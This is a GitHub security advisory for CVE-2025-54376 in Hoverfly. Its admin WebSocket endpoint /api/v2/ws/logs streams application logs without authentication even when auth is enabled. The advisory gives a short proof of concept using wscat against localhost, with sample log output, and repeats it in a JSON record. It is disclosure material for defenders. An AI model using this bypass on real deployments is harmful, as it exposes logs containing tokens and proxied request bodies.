ghsa-jxmr-2h4q-rhxp
Vulnerability from github
Published
2025-09-10 20:43
Modified
2025-09-24 21:14
Severity ?
7.8 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Summary
WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled
Details

Summary

Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:

  • Stream real-time application logs (information disclosure).
  • Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.

PoC

  1. Start Hoverfly with authentication enabled:

./hoverfly -auth

  1. Confirm REST API requires credentials:

curl -i http://localhost:8888/api/v2/hoverfly/version

  1. Connect to the WebSocket endpoint without credentials:

``` wscat -c ws://localhost:8888/api/v2/ws/logs

Connected (press CTRL+C to quit)

… logs stream immediately … (You would need to send a message to start receiving stream)

```

``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit)

hi! < {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]} < ... < ... ```

Impact

Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-10T20:43:49Z",
    "nvd_published_at": "2025-09-10T20:15:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nHoverfly\u2019s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# \u2026 logs stream immediately \u2026 (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n\u003e hi!\n\u003c {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n\u003c ...\n\u003c ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.",
  "id": "GHSA-jxmr-2h4q-rhxp",
  "modified": "2025-09-24T21:14:07Z",
  "published": "2025-09-10T20:43:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54376"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3945"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled"
}


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